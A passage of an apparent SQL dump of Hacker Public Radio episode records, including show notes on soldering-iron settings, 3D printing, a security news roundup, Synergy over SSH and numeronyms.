power\nlimit)</li>\n</ul></li>\n<li>QC Voltage 20.0\n<ul>\n<li>Max QC Voltage the iron should negotiate for</li>\n<li>Range: 9 to 22 volts</li>\n</ul></li>\n<li>PD Timeout (20)\n<ul>\n<li>PD negotiation timeout in 100ms steps for compatibility with some QC\nchargers</li>\n<li>Range: 1 to 50 seconds / Off <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>Soldering settings</p>\n<ul>\n<li>Boost temp 410<span class=\"math inline\"><sup>&#x2218;</sup></span>\n<ul>\n<li>Tip temperature used in \"boost mode\"</li>\n<li>Range: 10 to 450 degrees (Increments of 10)</li>\n</ul></li>\n<li>Start-up behavior (0)\n<ul>\n<li>0=off | S=heat up to soldering temp | Z=standby at sleep temperature\nuntil moved | R=Standby without heating until moved</li>\n</ul></li>\n<li>Temperature change short (1)\n<ul>\n<li>Temperature-change-increment on short button press</li>\n<li>Range: 1 to 50</li>\n</ul></li>\n<li>Temperature change long (10)\n<ul>\n<li>Temperature-change-increment on short button press</li>\n<li>Range: 5 to 90 (Increments of 5)</li>\n</ul></li>\n<li>Allow locking buttons (D)\n<ul>\n<li>While soldering, hold down both buttons to toggle locking them</li>\n<li>(D=disable | B=boost mode only | F=full locking) <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>Sleep mode</p>\n<ul>\n<li>Motion Sensitivity (7)\n<ul>\n<li>0=off | 1=least sensitive | ... | 9=most sensitive</li>\n</ul></li>\n<li>Sleep temp (110 degrees)\n<ul>\n<li>Tip temperature while in \"sleep mode\"</li>\n<li>Range: 10 to 300</li>\n</ul></li>\n<li>Sleep timeout (50s)\n<ul>\n<li>Interval before \"sleep mode\" kicks in (s=seconds | m=minutes)</li>\n<li>Range: 10s to 50s | 1m to 10m | Off</li>\n</ul></li>\n<li>Shutdown timeout 10m\n<ul>\n<li>Interval before the iron shuts down (m=minutes)</li>\n<li>Range: 1m to 60m | Off <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>User interface</p>\n<ul>\n<li>Temperature unit (C)\n<ul>\n<li>C=Celsius | F=Fahrenheit</li>\n</ul></li>\n<li>Display orientation (R)\n<ul>\n<li>R=right-handed | L=left-handed | A=automatic</li>\n</ul></li>\n<li>Cooldown flashing &#x2610;\n<ul>\n<li>Flash the temperature reading after heating was halted while the tip\nis still hot</li>\n</ul></li>\n<li>Scrolling speed (S)\n<ul>\n<li>Speed info text scrolls past at (S=slow | F=fast)</li>\n</ul></li>\n<li>Swap +- key &#x2610;\n<ul>\n<li>Reverse assignment of buttons for temperature adjustment</li>\n</ul></li>\n<li>Anim. speed (M)\n<ul>\n<li>Pace of icon animations in the menu (0=off | S=slow | M=medium |\nF=fast)</li>\n</ul></li>\n<li>Anim. loop &#x2610;\n<ul>\n<li>Loop icon animations in main menu</li>\n</ul></li>\n<li>(Brightness icon) (4)\n<ul>\n<li>Adjust the brightness of the OLED screen</li>\n</ul></li>\n<li>(Invert icon) &#x2610;\n<ul>\n<li>Invert the colors of the OLED screen</li>\n</ul></li>\n<li>Boot logo duration (1s)\n<ul>\n<li>Sets the duration for the boot logo (s=seconds)</li>\n<li>Range: 1-4s | Infinite | Off</li>\n</ul></li>\n<li>Detailed idle screen &#x2610;\n<ul>\n<li>Display detailed information in a smaller font on the idle\nscreen</li>\n</ul></li>\n<li>Detailed solder screen &#x2610;\n<ul>\n<li>Display detailed information in a smaller font on the soldering\nscreen</li>\n</ul></li>\n</ul></li>\n<li><p><em><em>Advanced Settings</em></em></p>\n<ul>\n<li>Power limit (35 W)\n<ul>\n<li>Maximum power the iron can use (W=watts)</li>\n<li>Range: Off or 0 to 95W (Increments of 5)</li>\n</ul></li>\n<li>Reset factory settings?\n<ul>\n<li>Reset all settings to default</li>\n</ul></li>\n<li>Calibrate temperature\n<ul>\n<li>Start tip temperature offset calibration</li>\n</ul></li>\n<li>Calibrate input voltage\n<ul>\n<li>Start VIN calibration (long press to exit)</li>\n</ul></li>\n<li>Power pulse (0.5)\n<ul>\n<li>Intensity of power of keep-awake-pulse (watt)</li>\n<li>Range 0.1 to 9.9 | Off</li>\n</ul></li>\n<li>Power pulse delay (4)\n<ul>\n<li>Delay before keep-awake-pulse is triggered (x 2.5s)</li>\n<li>Range: 1 to 9</li>\n</ul></li>\n<li>Power pulse duration (1)\n<ul>\n<li>Keep-awake-pulse duration (x 250ms)</li>\n<li>Range: 1 to 9</li>\n</ul></li>\n</ul></li>\n<li><p><em><em>Barrel Power Supply</em></em></p>\n<ul>\n<li><a href=\"https://www.amazon.com/gp/product/B0896Y8181\"\ntitle=\"ALITOVE 24V Power Supply 4A 96W\">ALITOVE 24V Power Supply 4A\n96W</a></li>\n</ul></li>\n</ul>\n',318,0,0,'CC-BY-SA','soldering, soldering iron, Pinecil, menu',0,0,1),
(3749,'2022-12-15','Making your own parts',855,'3D printers are useful for making your own custom parts and I talk about the parts I\'ve made.','<p>The part I made moments before the show is available at <a href=\"https://www.thingiverse.com/thing:5686075\">Thingiverse</a>.\nHere is a screenshot of modeling it in Blender followed by the piece installed on the microphone holder.</p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/blender-modeling-mic-pop-filter-holder.jpg\" alt=\"Blender modeling pop filter holder\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/blender-modeling-mic-pop-filter-holder.jpg\">See full image</a></p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/microphone-pop-filter-holder1.jpg\" alt=\"Microphone pop filter holder\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/microphone-pop-filter-holder1.jpg\">See full image</a></p>\n\n<p>Also a photo of the green screen hooks I created for hanging these large holiday light things.</p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/green-screen-hooks.jpg\" alt=\"Green screen hooks\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/green-screen-hooks.jpg\">See full image</a></p>\n\n<p><a href=\"https://www.thingiverse.com/thing:3023372\">The drill dust collector (on Thingiverse)</a></p>\n',194,0,0,'CC-BY-SA','3D printing,DIY,Maker,microphones',0,0,1),
(3738,'2022-11-30','Intro to KMyMoney',182,'Brief Intro to KMyMoney on KDE','<p>Brief discussion on kmymoney.</p>\n<p>Website: <a href=\"https://kmymoney.org/\"\nclass=\"uri\">https://kmymoney.org/</a></p>\n<p>P.S. uses of \"scheduled tasks\" jump from 2 to 4 because #3 had\ncorruption in the recording.</p>\n',414,0,0,'CC-BY-SA','Kmymoney',0,0,1),
(3748,'2022-12-14','The Squirrels gift to HPR',569,'The Squirrels have modified Bash Podder to do something different','<p>Humans,</p>\n<p>Download the following compressed tar file containing the Squirrels\nPodcast thingie.</p>\n<p><a\nhref=\"https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing\"\nclass=\"uri\">https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing</a></p>\n<p>Untar the thingie;</p>\n<pre><code>tar -zxvf PODTHING</code></pre>\n<p>explore the subdirectories it created.</p>\n<p>You can copy the Media_Gift directory to where ever you want it to\nreside and even rename it\n<code>mv Media_Gift /home/me/mythingie</code></p>\n<p>install your own korn shell {KSH} or modify the bashpodder.shell\nscripts located inside to point to where ever you keep bash on your\nsystem.</p>\n<p>Run the entire script from the Media_Gift directory</p>\n<pre><code>./get_all_podcasts</code></pre>\n<p>Enjoy Humans. All Squirrels love all humans. Happy Holidays. Eat more\nnuts.</p>\n',377,0,1,'CC-BY-SA','podcastcatcher,bashpoddermod',0,0,1),
(3743,'2022-12-07','HPR News',575,'News for the Community, by the Community.','<h1 id=\"hpr-news\">HPR NEWS</h1>\n<h1 id=\"news-for-the-community-by-the-community\">News for the community,\nby the community.</h1>\n<ul>\n<li><p><strong>TAGS:</strong> Ransomware, Malware, Phishing, Security\nBreach</p></li>\n<li><p><a\nhref=\"https://thehackernews.com/2022/10/microsoft-confirms-server.html\">Microsoft\nConfirms Server Misconfiguration Led to 65,000+ Companies\' Data\nLeak</a></p>\n<ul>\n<li>Microsoft &#x201C;misconfigured&#x201D; an <a\nhref=\"https://azure.microsoft.com/en-us/products/storage/blobs/#overview\">Azure\nBlob Storage</a> server causing a security breach. Attackers were able\nto access unauthorized customer data; business transactions and other\ninteractions between Microsoft and its customers. <a\nhref=\"https://socradar.io/\">SOCRadar</a>, a cyber security company, is\ncalling the security breach &#x201C;BlueBleed&#x201D;. SOCRadar discovered the breach\non September 24, 2022 Microsoft is downplaying the security breach but\nsecurity researcher Kevin Beaumont isn\'t buying it. Mr. Beaumont suggest\nMicrosoft dropped the ball on informing its customers, and federal\nregulators, of the security breach in a timely manner.</li>\n</ul></li>\n<li><p><a\nhref=\"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/\">HiddenAds\nmalware affects 1M+ Android users</a></p>\n<ul>\n<li>McAfee&#x2019;s Mobile Research Team identified multiple apps containing\nmalware on the Google Play Store. After install, the malicious android\napps automatically run services without the user knowing or interacting\nwith the app. That&#x2019;s right, they auto run after install. These malicious\napps then disguise themselves by changing their icon to the &#x201C;Google\nPlay&#x201D; icon and renaming to themselves to &#x201C;Google Play&#x201D; or &#x201C;Settings&#x201D;.\nThe malicious apps quickly create permanent malicious services. McAfee&#x2019;s\nMobile Research Team demonstrates the resilience of the malware by using\n<a href=\"https://www.man7.org/linux/man-pages/man1/kill.1.html\">kill\n-9</a> on the service processes. More malicious processes generate\nimmediately as if nothing happened.</li>\n</ul></li>\n<li><p><a\nhref=\"https://thehackernews.com/2022/10/experts-warn-of-stealthy-powershell.html\">Fully\nundetectable PowerShell backdoor disguised as part of a Windows\nupdate</a></p>\n<ul>\n<li>Director of security research at SafeBreach, Tomer Bar stated, \"The\ncovert self-developed tool and the associated C2 commands seem to be the\nwork of a sophisticated, unknown threat actor who has targeted\napproximately 100 victims.\"</li>\n<li>Based on the metadata found within a malicious document, this seems\nto be a LinkedIn-based spear-phishing attack, which ultimately leads to\nthe execution of a PowerShell script via a piece of embedded macro\ncode.</li>\n<li>\"The Macro drops \'updater.vbs\' creates a scheduled task pretending\nto be part of a Windows update, which will execute the updater.vbs\nscript from a fake update folder under\n\'%appdata%\\local\\Microsoft\\Windows,\'\"said Tomar.</li>\n<li>Currently 32 security vendors and 18 anti-malware engines have\nflagged the decoy document and the PowerShell scripts as malicious.</li>\n<li>The findings come as Microsoft has <a\nhref=\"https://thehackernews.com/2022/07/microsoft-resumes-blocking-office-vba.html\">taken\nsteps</a> to block Excel 4.0 (XLM or XL4) and Visual Basic for\nApplications (VBA) macros by default across Office apps, prompting\nthreat actors to pivot to <a\nhref=\"https://thehackernews.com/2022/07/hackers-opting-new-attack-methods-after.html\">alternative\ndelivery methods</a>.</li>\n</ul></li>\n<li><p><a\nhref=\"https://apnews.com/6f1ec0c740d878ad00f5b08d2521f831\">Millions of\npatients compromised in hospital data leak.</a></p>\n<ul>\n<li>Nearly 3 million Illinois &amp; Wisconsin patients are caught in a\nhospital data breach. Advocate Aurora Health, which operates 27\nhospitals, said in a statement, &#x201C;the breach may have exposed information\nincluding a patients\' medical provider, type of appointments, medical\nprocedures, dates and locations of scheduled appointments, and IP\naddresses&#x201D;. The system blamed the breach on its use of pixels, computer\ncode that collects information on how a user interacts with a website,\nincluding products developed by Google and Facebook\'s parent company\nMeta that make the collected data accessible to those companies.</li>\n<li>The health care industry\'s use of pixels has come under wide\ncriticism from privacy advocates who warn that the technology\'s use\nviolates federal patient privacy law. A <a\nhref=\"https://ocrportal.hhs.gov/ocr/breach/breach_report.jsf\">report</a>\npublished in June by The Markup found many of the country\'s top-ranked\nhospitals used the Meta Pixel, collecting and sending sensitive patient\ninformation to the social media company.</li>\n</ul></li>\n</ul>\n<h2 id=\"user-space\">User space.</h2>\n<ul>\n<li><a\nhref=\"https://www.washingtontimes.com/news/2022/oct/21/texas-sues-google-surreptitiously-collecting-users/\">Texas\nsues Google for biometric data collecting</a>\n<ul>\n<li>Texas has filed a lawsuit against Google claiming the tech behemoth\ntook users&#x2019; biometric data without permission. <a\nhref=\"https://kenpaxton.com/\">Texas Attorney General Ken Paxton</a>,\nclaims Google is illegally data harvesting Texans using features and\ndevices such as: Google Photos, Google Assistant, and Nest Hub Max. <a\nhref=\"https://www.linkedin.com/in/jose-castaneda-378a338a\">Google\nspokesman Jos&#xE9; Casta&#xF1;eda</a><br />\nis willing to take the argument to court, &#x201C;AG Paxton is once again\nmischaracterizing our products in another breathless lawsuit,&#x201D;.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Malware, Security Breach, Meta, HPR News',0,0,1),
(3744,'2022-12-08','Advent of code Day 1 - 4',308,'Talking about my experience of advent of code so far','<p>Advent of code:</p>\n<p><a href=\"https://adventofcode.com/\"\nclass=\"uri\">https://adventofcode.com/</a></p>\n<p>Here are some links to the recording of my puzzle-solving:</p>\n<ul>\n<li><p>Day 1<br />\n<a href=\"https://youtu.be/yxXL5gP2RpE\"\nclass=\"uri\">https://youtu.be/yxXL5gP2RpE</a></p></li>\n<li><p>Day 2<br />\n<a href=\"https://youtu.be/OoRyHjTvmIg\"\nclass=\"uri\">https://youtu.be/OoRyHjTvmIg</a></p></li>\n<li><p>Day 3<br />\n<a href=\"https://youtu.be/Le5WRtjyOyI\"\nclass=\"uri\">https://youtu.be/Le5WRtjyOyI</a></p></li>\n<li><p>Day 4<br />\n<a href=\"https://youtu.be/E2FJCrbrdDc\"\nclass=\"uri\">https://youtu.be/E2FJCrbrdDc</a></p></li>\n</ul>\n',382,0,0,'CC-BY-SA','advent of code, aoc, java',0,0,1),
(3742,'2022-12-06','Battery',626,'The wikipedia article on the Battery','<p>A battery converts chemical energy into electrical energy by a\nchemical reaction. Usually the chemicals are kept inside the battery. It\nis used in a circuit to power other components. A battery produces\ndirect current (DC) electricity (electricity that flows in one\ndirection, and does not switch back and forth).</p>\n<p>Using the electricity from an outlet in a building is cheaper and\nmore efficient, but a battery can provide electricity in areas that do\nnot have electric power distribution. It is also useful for things that\nmove, such as electric vehicles and mobile phones.</p>\n<p>Batteries may be primary or secondary. The primary is thrown away\nwhen it can no longer provide electricity. The secondary can be\nrecharged and reused.</p>\n<p><a href=\"https://simple.wikipedia.org/wiki/Battery\">Continue Reading\non Wikipedia</a></p>\n',30,43,0,'CC-BY-SA','battery, cell, ham, wikipedia',0,0,1),
(3747,'2022-12-13','Twitter and Dinner with the Humans',1614,'I talk about Twitter after dinner with some Humans','<p>Reality 2.0 Podcast<br />\n<a href=\"https://www.reality2cast.com/\"\nclass=\"uri\">https://www.reality2cast.com/</a></p>\n',377,0,1,'CC-BY-SA','Dinner,Humans,Twitter',0,0,1),
(3751,'2022-12-19','Using Noisetorch',427,'Noisetorch is a program for Linux that creates a virtual microphone that removes background sounds.','<p>Official Noisetorch repo: <a href=\"https://github.com/noisetorch/NoiseTorch\">https://github.com/noisetorch/NoiseTorch</a></p>\n\n<p><a href=\"https://www.youtube.com/watch?v=DzN9rYNeeIU\">Noisetorch demo video</A> by <a href=\"https://www.youtube.com/@LinuxForEveryone\">Linux for everyone</a></p>\n\n<p><a href=\"https://pipewire.org/\">The Pipewire soundsystem</a> for Linux.</p>\n',194,0,0,'CC-BY-SA','audio,podcasting,microphone,linux',0,0,1),
(3755,'2022-12-23','Synergy over ssh',1495,'Control your other PC securely using synergy over ssh','<p>In today\'s show we will talk about installing synergy so that you can\ncontrol the keyboard and mouse of another computer securely over\nssh.</p>\n<p>Install synergy on both computers as root</p>\n<pre><code># dnf install synergy\n# apt install synergy</code></pre>\n<p>The main pc is <code>pc_middle</code> and it is the one with the\nkeyboard and mouse we intend to use for all the computers.</p>\n<p>The only other pc in this configuration is, one on the right which we\ncall <code>pc_right</code></p>\n<p>On <code>pc_middle</code> create a configuration file. I put it in\n<code>~/etc/synergy-work.conf</code></p>\n<pre><code>section: screens\n pc_middle:\n pc_right:\nend\n\nsection: links\npc_middle:\n right = pc_right\npc_right:\n left = pc_middle\nend</code></pre>\n<p>On <code>pc_middle</code> add entry to <code>~/.ssh/config</code> to\nallow portforwarding back, for the <strong>synergy</strong> port\n<em>24800</em></p>\n<pre><code>Host pc_right\n Hostname 192.168.0.150\n RemoteForward 127.0.0.1:24800 127.0.0.1:24800 # send back from the client to me</code></pre>\n<p>On <code>pc_middle</code> run synergy server in the foreground with\ndebug enabled</p>\n<pre><code>[user@pc_middle ~]$ synergys --debug DEBUG --no-daemon --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\n[2022-12-03T16:29:05] DEBUG: opening configuration &quot;~/etc/synergy-work.conf&quot;\n[2022-12-03T16:29:05] DEBUG: configuration read successfully\n[2022-12-03T16:29:05] DEBUG: XOpenDisplay(&quot;:0&quot;)\n[2022-12-03T16:29:05] DEBUG: xscreensaver window: 0x00c00001\n[2022-12-03T16:29:05] DEBUG: screen shape: 0,0 5760x2160 (xinerama)\n[2022-12-03T16:29:05] DEBUG: window is 0x05e00004\n[2022-12-03T16:29:05] DEBUG: adopting new buffer\n[2022-12-03T16:29:05] DEBUG: opened display\n[2022-12-03T16:29:05] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T16:29:05] DEBUG: registered hotkey ScrollLock (id=ef14 mask=0000) as id=1\n[2022-12-03T16:29:05] NOTE: started server, waiting for clients\n[2022-12-03T16:29:05] DEBUG: event queue is ready\n[2022-12-03T16:29:05] DEBUG: add pending events to buffer\n[2022-12-03T16:29:05] DEBUG: screen &quot;pc_middle&quot; shape changed</code></pre>\n<p>On <code>pc_middle</code> you can check that it\'s running</p>\n<pre><code>[user@pc_middle ~]$ netstat -anp | grep 24800\ntcp 0 0 127.0.0.1:24800 0.0.0.0:* LISTEN 90859/synergys</code></pre>\n<p>On <code>pc_middle</code> you can connect to\n<code>pc_right</code></p>\n<pre><code>[user@pc_middle ~]$ ssh pc_right\nuser@pc_right:~$</code></pre>\n<p>On <code>pc_right</code> (either on its own keyboard, or via ssh\nsession from <code>pc_middle</code>), check that port <code>24800</code>\nis listening</p>\n<pre><code>user@pc_right:~$ netstat -anp | grep 24800\ntcp 0 0 127.0.0.1:24800 0.0.0.0:* LISTEN</code></pre>\n<p>On the other keyboard that is connected to the <code>pc_right</code>\n(see note below &#x2020;)</p>\n<pre><code>user@pc_right:~$ synergyc --debug INFO --no-daemon --name pc_right 127.0.0.1\n[2022-12-03T16:38:59] NOTE: started client\n /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,404\n[2022-12-03T16:38:59] NOTE: connecting to &#39;127.0.0.1&#39;: 127.0.0.1:24800\n /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/client/Client.cpp,146\n[2022-12-03T16:38:59] NOTE: connected to server\n /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,294</code></pre>\n<p>Back on <code>pc_middle</code>, you should see the the log that you\nhave connected</p>\n<pre><code>[2022-12-03T16:40:15] DEBUG: Opening new socket: 18FC73A0\n[2022-12-03T16:40:15] NOTE: accepted client connection\n[2022-12-03T16:40:16] DEBUG: received client &quot;pc_right&quot; info shape=0,0 5760x2160 at 2787,1371\n[2022-12-03T16:40:16] NOTE: client &quot;pc_right&quot; has connected</code></pre>\n<p>&#x2020; Note: If you tried to run the client <code>synergyc</code> over the\nssh connection on <code>pc_middle</code> it will connect, but the mouse\nwill never <em>move</em> to the other screen.</p>\n<p>Now from the <code>pc_middle</code>, you should be able to\n<em>move</em> the mouse over to the <code>pc_right</code> screen.</p>\n<p>Now using the keyboard and mouse on the <code>pc_middle</code>, you\nshould now be able to move the mouse and type on the\n<code>pc_right</code> screen.</p>\n<p>The logs on the <code>pc_middle</code>, should show you information\nabout switching from one computer to the other.</p>\n<pre><code>[2022-12-03T17:05:18] INFO: switch from &quot;pc_middle&quot; to &quot;pc_right&quot; at 0,225\n[2022-12-03T17:05:18] INFO: leaving screen\n[2022-12-03T17:05:18] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 0\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 0\n[2022-12-03T17:05:18] DEBUG: available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (8 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 0\n[2022-12-03T17:05:18] INFO: screen &quot;pc_middle&quot; updated clipboard 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 1\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 1\n[2022-12-03T17:05:18] DEBUG: available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444), text/html (653)\n[2022-12-03T17:05:18] DEBUG: added format 1 for target text/html (653) (113 bytes)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (5 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 1\n[2022-12-03T17:05:18] INFO: screen &quot;pc_middle&quot; updated clipboard 1\n[2022-12-03T17:05:18] DEBUG: sending clipboard 0 to &quot;pc_right&quot;\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=20\n[2022-12-03T17:05:18] DEBUG: sending clipboard 1 to &quot;pc_right&quot;\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=138\n[2022-12-03T17:05:19] INFO: switch from &quot;pc_right&quot; to &quot;pc_middle&quot; at 5757,583\n[2022-12-03T17:05:19] INFO: entering screen\n[2022-12-03T17:05:19] DEBUG: send xscreensaver command: 582 0 0</code></pre>\n<p>Back on <code>pc_right</code> you can close the client by holding\nControl and pressing C, or Ctrl+C for short.</p>\n<p>The logs on the <code>pc_middle</code>, should show you that the\nclient disconnected.</p>\n<pre><code>[2022-12-03T16:40:18] NOTE: client &quot;pc_right&quot; has disconnected\n[2022-12-03T16:40:18] DEBUG: Closing socket: 18FC73A0</code></pre>\n<p>As we are running over ssh, there is no need to configure\n<code>--enable-crypto</code> but you can if you wish.</p>\n<p>Now that everything is working correctly you can make it easier to\nstart.</p>\n<p>As we saw before (&#x2020;) the client needs to be run from the physical X\nSession that you see on the second computer.</p>\n<p>On <code>pc_right</code> create a new bash script file eg:\n<code>nano ~/bin/start-synergy-client.bash</code></p>\n<pre><code>#!/bin/bash\nkillall synergyc\nsleep 2\nsynergyc --name pc_right 127.0.0.1\nexit 0</code></pre>\n<p>Still on <code>pc_right</code> allow the file to be executable\n<code>chmod +x ~/bin/start-synergy-client.bash</code></p>\n<p>Still on <code>pc_right</code> and <strong>in the session you wish to\ncontrol</strong>, run <code>start-synergy-client.bash</code></p>\n<p>I find it easiest to just run this in a shell once I login on\n<code>pc_right</code>, but you could configure it to <a\nhref=\"https://learn.adafruit.com/synergy-on-raspberry-pi/setup-synergy-client-autostart\">run\nautomatically once you log in</a>.</p>\n<p>Back on <code>pc_middle</code>, create a new bash script file eg:\n<code>nano ~/bin/start-synergy-server.bash</code></p>\n<pre><code>#!/bin/bash\nserver_name=synergys # may also be synergy-core\nkillall &quot;${server_name}&quot;\n${server_name} --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\nsetxkbmap -option &quot;compose:ralt&quot;\nsetxkbmap -option &quot;ctrl:nocaps&quot;\nssh pc_right</code></pre>\n<p>Still on <code>pc_middle</code> allow the file to be executable\n<code>chmod +x ~/bin/start-synergy-server.bash</code></p>\n<p>Still on <code>pc_middle</code> you can run the command\n<code>start-synergy-server.bash</code> and it will open a ssh shell to\n<code>pc_right</code>.</p>\n<p>Over that connection <code>pc_right</code> can send back commands to\nthe server.</p>\n<p>A side note about the special address 127.0.0.1.</p>\n<p>It\'s often referred to as <strong>loopback</strong>, home, or\n<code>localhost</code> and is usually defined in\n<code>/etc/hosts</code></p>\n<p>The address is used by programs running on a given computer to\ncommunicate with other programs running on the same computer.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Localhost\">https://en.wikipedia.org/wiki/Localhost</a></p>\n<blockquote>\n<p>IPv4 network standards reserve the entire address block 127.0.0.0/8\n(more than 16 million addresses) for loopback purposes.</p>\n</blockquote>\n<p>If you are confused, then just think of it like you when your boss\nsays \"I\'m going home now, you should also go home.\"</p>\n<p>It\'s clear that they mean \"I\'m going to <strong>my</strong> home now,\nand you should also go to <strong>your</strong> home.\"</p>\n<p>So the address 127.0.0.1 on <code>pc_middle</code> is only available\non <code>pc_middle</code>, and equally the address 127.0.0.1 on\n<code>pc_right</code> is only available on <code>pc_right</code>.</p>\n<p>The server is listening on its loopback address 127.0.0.1 on\n<code>pc_middle</code>, while the client is listening on its loopback\naddress 127.0.0.1 on <code>pc_right</code></p>\n<p>It is the <code>RemoteForward</code> configuration that creates a ssh\n<code>tunnel</code> that is doing the heavy lifting.</p>\n<pre><code>RemoteForward 127.0.0.1:24800 127.0.0.1:24800</code></pre>\n<p>It tells the Remote (in this case <code>pc_right</code> ) to listen\nto the port <code>24800</code> its loopback address.</p>\n<p>This is where the client on <code>pc_right</code> will be talking\nto.</p>\n<p>The ssh connection will then Forward any packets back to the other\nside (in this case <code>pc_middle</code> )</p>\n<p>And to send to the port <code>24800</code> its loopback address.</p>\n<p>And on that address the server is listening.</p>\n',30,0,0,'CC-BY-SA','synergy,ssh,port forward,tunnel',0,0,1),
(4021,'2024-01-01','HPR Community News for December 2023',0,'HPR Volunteers talk about shows released and comments posted in December 2023','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3752,'2022-12-20','It only took me 2 years to record using some \'new\' hardware',582,'the why and what of some new recording hardware','<p>I tend to put the \"no\" in notes!</p>\n<p><a href=\"https://www.presonus.com/products/AudioBox-USB-96\"\nclass=\"uri\">https://www.presonus.com/products/AudioBox-USB-96</a><br />\n<a href=\"https://www.pine64.org/pinebook-pro/\"\nclass=\"uri\">https://www.pine64.org/pinebook-pro/</a></p>\n',243,0,0,'CC-BY-SA','linux, audacity, audio, hardware',0,0,1),
(3762,'2023-01-03','Existence is pain',1329,'RSI, carpal tunnel syndrome and ergonomics','<p>I know right no show notes .. ok FINE !</p>\n<p><a\nhref=\"https://www.google.com/search?q=herman+miller+aeron+%22used%22\"\nclass=\"uri\">https://www.google.com/search?q=herman+miller+aeron+%22used%22</a></p>\n<ul>\n<li><p>Freestyle Pro<br />\n<a href=\"https://kinesis-ergo.com/shop/freestyle-pro/\"\nclass=\"uri\">https://kinesis-ergo.com/shop/freestyle-pro/</a></p></li>\n<li><p>Freestyle VIP3 Pro Premium<br />\n<a href=\"https://kinesis-ergo.com/shop/ac925/\"\nclass=\"uri\">https://kinesis-ergo.com/shop/ac925/</a></p></li>\n<li><p>FUTURO-48462 Night Wrist Support SIOC, Helps Provide Nighttime\nRelief of Carpal Tunnel Symptoms, Breathable, One Size - Navy<br />\n<a href=\"https://smile.amazon.com/dp/B0057D86QA\"\nclass=\"uri\">https://smile.amazon.com/dp/B0057D86QA</a></p></li>\n<li><p>Futuro Energizing Wrist Support, Left, Large/X-Large<br />\n<a href=\"https://smile.amazon.com/dp/B0026RHGB6\"\nclass=\"uri\">https://smile.amazon.com/dp/B0026RHGB6</a></p></li>\n<li><p>Dr. Frederick\'s Original Arthritis Gloves for Women &amp; Men -\nCompression for Arthritis Pain Relief - Large<br />\n<a href=\"https://smile.amazon.com/dp/B01LR4VNZI\"\nclass=\"uri\">https://smile.amazon.com/dp/B01LR4VNZI</a></p></li>\n<li><p>Dynamic Health Organic Tart Cherry | Unsweetened 100% Juice\nConcentrate | Vegan, Gluten Free, BPA Free (16oz)<br />\n<a href=\"https://smile.amazon.com/dp/B00NALVQWM\"\nclass=\"uri\">https://smile.amazon.com/dp/B00NALVQWM</a></p></li>\n<li><p>Lunix LX3 Cordless Electric Hand Massager with Compression, 6\nLevels Pressure Point Therapy Massager for Arthritis, Pain Relief,\nCarpal Tunnel and Finger Numbness, Shiatsu Massage Machine with\nHeat<br />\n<a href=\"https://smile.amazon.com/dp/B07QNFWY7J\"\nclass=\"uri\">https://smile.amazon.com/dp/B07QNFWY7J</a></p></li>\n<li><p>The Original 1 inch Thick Comfort Anti Fatigue Floor Mat, Perfect\nfor Kitchens and Standing Desks (Black, 20x30x1-Inch)</p></li>\n<li><p>Electric Stand up Desk Frame - FEZIBO Dual Motor and Cable\nManagement Rack Height Adjustable Sit Stand Standing Desk Base\nWorkstation (Frame Only)</p></li>\n</ul>\n',36,0,1,'CC-BY-SA','rsi, carpal tunnel and ergonomics\nhealth,rsi,carpal tunnel,ergonomics',0,0,1),
(3753,'2022-12-21','Some thoughts on \"Numeronyms\"',716,'AKA alphanumeric acronyms, alphanumeric abbreviations, or numerical contractions','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>I have recently been wondering about the use of abbreviations which\nare built from the first letter of a word followed by a number and the\nlast letter. The number represents the count of letters between the\nstart and end letter. Thus <code>accessibility</code> becomes\n<code>a11y</code>. This came to light (to me anyway) during an email\nexchange with Mike Ray regarding the accessibility issues on the tag\nindex page on the HPR site. The website issues were resolved, but I was\nleft wondering how useful the term <code>a11y</code> is, or whether it\njust jars with me!</p>\n<p>According to the <a\nhref=\"https://en.wikipedia.org/wiki/Numeronym\">Wikipedia article</a>\nthis type of word is known as a <em>numeronym</em>, but they may also be\nreferred to as <em>alphanumeric acronyms</em>, <em>alphanumeric\nabbreviations</em>, or <em>numerical contractions</em>.</p>\n<p>As the Wikipedia article notes these types of abbreviations are\nalmost always used to refer to their computing sense — such as\n<em>g11n</em> for <em>globalisation</em> — in the context of computing,\nnot the general 